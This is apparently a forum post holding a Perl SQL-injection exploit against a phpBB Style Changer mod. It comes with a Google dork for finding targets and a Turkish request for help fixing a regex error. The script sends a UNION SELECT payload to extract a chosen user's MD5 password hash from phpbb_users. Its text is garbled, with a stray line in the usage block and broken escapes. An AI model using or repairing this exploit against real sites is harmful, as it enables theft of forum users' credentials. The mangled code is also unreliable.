phpBB Style ChangerViewer MOD SQL injection Exploit

respectable

#!/usr/bin/perl
################################################## #######
# #
# Respectable #
# #
# #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By respectable #
#wardom Team #
#http://www.wardom.org #
# #
#Turkey #
################################################## #######
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
################################################## #######
use IO::Socket;
if (@ARGV < 3){
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=44479
print q{
################################################## ##########
# phpBB Style ChangerViewer MOD SQL injection Exploit #
# Tested on phpBB 2.0.19 #
# created By respectable #
################################################## ##########
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
################################################## ##########
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connectionn";
$serv =~ s/(http://)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null%20FR OM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failedrn";
print $socket "GET $path HTTP/1.1n";
print $socket "Host: $servn";
print $socket "Accept: */*n";
print $socket "Connection: closenn";
print "[+]Connectedn";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $idn[+]Md5 Hash: $1n";
}

Söle bir perl kodum var fakat calistiramadim.
Su sekilde bi yazi aliyorum .
Unmatched before HERE mark in regex m/<<here http:at dosya adi.pl line 35.

Yardimci olanlara simdiden tsk ediyorum .